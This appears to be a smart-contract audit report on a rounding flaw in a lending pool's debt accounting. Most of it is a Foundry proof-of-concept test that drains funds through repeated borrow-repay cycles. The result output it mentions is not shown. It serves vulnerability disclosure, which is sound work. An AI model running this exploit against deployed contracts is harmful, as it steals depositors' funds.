*ps: this is not a known issue. *
This creates a discrepancy between the amount borrowed and the debt recorded, as a.rayDiv(x) always rounds down to a value less than or equal to a. Each borrow-repay cycle captures this rounding difference as profit.
First, we have to fix a few bugs submitted in other reports to reproduce this PoC.
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC4626.sol";
import "../contracts/core/governance/boost/BoostController.sol";
import "../contracts/libraries/math/WadRayMath.sol";
import "../contracts/interfaces/core/tokens/IveRAACToken.sol";
import "../contracts/core/pools/StabilityPool/StabilityPool.sol";
import "../contracts/core/pools/LendingPool/LendingPool.sol";
import "../contracts/core/tokens/RToken.sol";
import "../contracts/core/tokens/DebtToken.sol";
import "../contracts/core/tokens/DEToken.sol";
import "../contracts/core/tokens/RAACToken.sol";
import "../contracts/core/tokens/RAACNFT.sol";
import "../contracts/core/minters/RAACMinter/RAACMinter.sol";
import "../contracts/libraries/math/WadRayMath.sol";
import "../contracts/core/primitives/RAACHousePrices.sol";
import "../contracts/mocks/core/tokens/crvUSDToken.sol";
contract LendingPoolTest is Test {
using WadRayMath for uint256;
StabilityPool stabilityPool;
LendingPool lendingPool;
RToken rToken;
DEToken deToken;
DebtToken debtToken;
RAACMinter raacMinter;
crvUSDToken crvUSD;
RAACToken raacToken;
RAACHousePrices public raacHousePrices;
RAACNFT public raacNFT;
address owner = address(1);
address user1 = address(2);
address user2 = address(3);
address user3 = address(4);
address[] users = new address[](3);
function setUp() public {
users[0] = user1;
users[1] = user2;
users[2] = user3;
vm.label(user1, "USER1");
vm.label(user2, "USER2");
vm.label(user3, "USER3");
vm.warp(1738798039);
vm.roll(100);
vm.startPrank(owner);
_deployAndSetupContracts();
vm.stopPrank();
_mintCrvUsdTokenToUsers(1000e18);
_depositCrvUsdIntoLendingPoolForAllUsers(100e18);
_liquidateRandomUserAndAccrueInterest();
}
function test_userCanDrainProtocol_byBorrowingAndRepaying() public {
uint256 tokenId = 2;
uint256 nftPrice = 300e18;
_setupHousePrice(nftPrice, tokenId);
vm.startPrank(user2);
_mintNFTwithTokenId(tokenId, nftPrice);
vm.stopPrank();
uint256 userCrvUsdBalanceBefore = crvUSD.balanceOf(user2);
console.log("User balance started with: %e", userCrvUsdBalanceBefore);
for(uint i = 0; i < 2300; i++) {
console.log("--------------starting iteration: %d ---------------", i+1);
_depositNFT_borrow_repay_in_the_same_block(tokenId, nftPrice);
}
console.log("User balance ended with: %e", crvUSD.balanceOf(user2));
console.log("Profit: %e", crvUSD.balanceOf(user2) - userCrvUsdBalanceBefore);
assertGt(crvUSD.balanceOf(user2), userCrvUsdBalanceBefore, "!exploit the protocol");
}
function _deployAndSetupContracts() internal {
crvUSD = new crvUSDToken(owner);
raacToken = new RAACToken(owner, 100, 50);
raacHousePrices = new RAACHousePrices(owner);
raacHousePrices.setOracle(owner);
raacNFT = new RAACNFT(
address(crvUSD),
address(raacHousePrices),
owner
);
rToken = new RToken(
"RToken",
"RTK",
owner,
address(crvUSD)
);
deToken = new DEToken(
"DEToken",
"DET",
owner,
address(rToken)
);
debtToken = new DebtToken(
"DebtToken",
"DEBT",
owner
);
lendingPool = new LendingPool(
address(crvUSD),
address(rToken),
address(debtToken),
address(raacNFT),
address(raacHousePrices),
0.8e27
);
raacMinter = new RAACMinter(
address(raacToken),
address(0x1234324423),
address(lendingPool),
owner
);
stabilityPool = new StabilityPool(owner);
stabilityPool.initialize(
address(rToken),
address(deToken),
address(raacToken),
address(raacMinter),
address(crvUSD),
address(lendingPool)
);
raacMinter.setStabilityPool(address(stabilityPool));
lendingPool.setStabilityPool(address(stabilityPool));
rToken.setReservePool(address(lendingPool));
debtToken.setReservePool(address(lendingPool));
rToken.transferOwnership(address(lendingPool));
debtToken.transferOwnership(address(lendingPool));
deToken.setStabilityPool(address(stabilityPool));
deToken.transferOwnership(address(stabilityPool));
raacToken.setMinter(address(raacMinter));
raacToken.manageWhitelist(address(stabilityPool), true);
}
function _liquidateRandomUserAndAccrueInterest() internal {
_depositNftBorrowFunds(user1, 1, 300e18, true);
vm.startPrank(owner);
lendingPool.initiateLiquidation(user1);
_advanceInTime(3 days);
lendingPool.updateState();
_advanceInTime(1 seconds);
lendingPool.updateState();
deal(address(crvUSD), address(stabilityPool), lendingPool.getUserDebt(user1));
stabilityPool.liquidateBorrower(user1);
vm.stopPrank();
}
function _depositNFT_borrow_repay_in_the_same_block(uint256 tokenIdToDeposit, uint256 nftPrice) internal {
uint256 userCrvUsdBalanceBefore = 0;
vm.startPrank(user2);
raacNFT.approve(address(lendingPool), tokenIdToDeposit);
lendingPool.depositNFT(tokenIdToDeposit);
console.log("user balance before");
_printUserBalances(user2);
userCrvUsdBalanceBefore = crvUSD.balanceOf(user2);
_borrowCrvUsdTokenFromLendingPool(nftPrice/2);
vm.stopPrank();
vm.startPrank(user2);
lendingPool.repay(lendingPool.getUserDebt(user2));
lendingPool.withdrawNFT(tokenIdToDeposit);
vm.stopPrank();
console.log("user balance after");
_printUserBalances(user2);
}
function _printUserBalances(address user) internal {
console.log("");
uint256 userCrvBalance = crvUSD.balanceOf(user);
console.log("user crv balance: %e", userCrvBalance);
}
function _depositCrvUsdIntoLendingPoolForAllUsers(uint256 initialDeposit) internal {
for (uint i = 0; i < users.length; i++) {
vm.prank(users[i]);
lendingPool.deposit(initialDeposit);
}
}
function _mintCrvUsdTokenToUsers(uint256 initialBalance) internal {
for (uint i = 0; i < users.length; i++) {
_mintCrvUsdTokenToUser(initialBalance, users[i]);
}
}
function _mintCrvUsdTokenToUser(uint256 initialBalance, address user) internal {
vm.prank(owner);
crvUSD.mint(user, initialBalance);
vm.startPrank(user);
crvUSD.approve(address(raacNFT), type(uint256).max);
crvUSD.approve(address(lendingPool), type(uint256).max);
rToken.approve(address(stabilityPool), type(uint256).max);
vm.stopPrank();
}
function _advanceInTime(uint256 time) internal {
vm.warp(block.timestamp + time);
vm.roll(block.number + 10000);
}
function _advanceInTimeAndAccrueInterestInLendingPool(uint256 time) internal {
uint256 usageIndex = lendingPool.getNormalizedDebt();
_advanceInTime(time);
lendingPool.updateState();
}
function _setupHousePrice(uint256 housePrice, uint256 newValue) internal {
vm.startPrank(owner);
raacHousePrices.setHousePrice(newValue, housePrice);
vm.stopPrank();
}
function _mintNFTwithTokenId(uint256 tokenId, uint256 housePrice) internal {
raacNFT.mint(tokenId, housePrice);
raacNFT.approve(address(lendingPool), tokenId);
}
function _mintAndDepositNftInLendingPool(uint256 tokenId, uint256 housePrice) internal {
_mintNFTwithTokenId(tokenId, housePrice);
lendingPool.depositNFT(tokenId);
}
function _borrowCrvUsdTokenFromLendingPool(uint256 amount) internal {
lendingPool.borrow(amount);
}
function _depositNftBorrowFunds(address user, uint256 tokenId, uint256 nftPrice, bool makeUserLiquidatable) internal {
_setupHousePrice(nftPrice, tokenId);
vm.startPrank(user);
_mintAndDepositNftInLendingPool(tokenId, nftPrice);
_borrowCrvUsdTokenFromLendingPool(nftPrice/2);
vm.stopPrank();
if (makeUserLiquidatable) {
_advanceInTimeAndAccrueInterestInLendingPool(365 days);
_setupHousePrice(nftPrice/2, tokenId);
}
}
}
Result from the last results. Notice the incremental balance for the user:
Let's run the PoC again. Notice we are not able to extract anything from the protocol: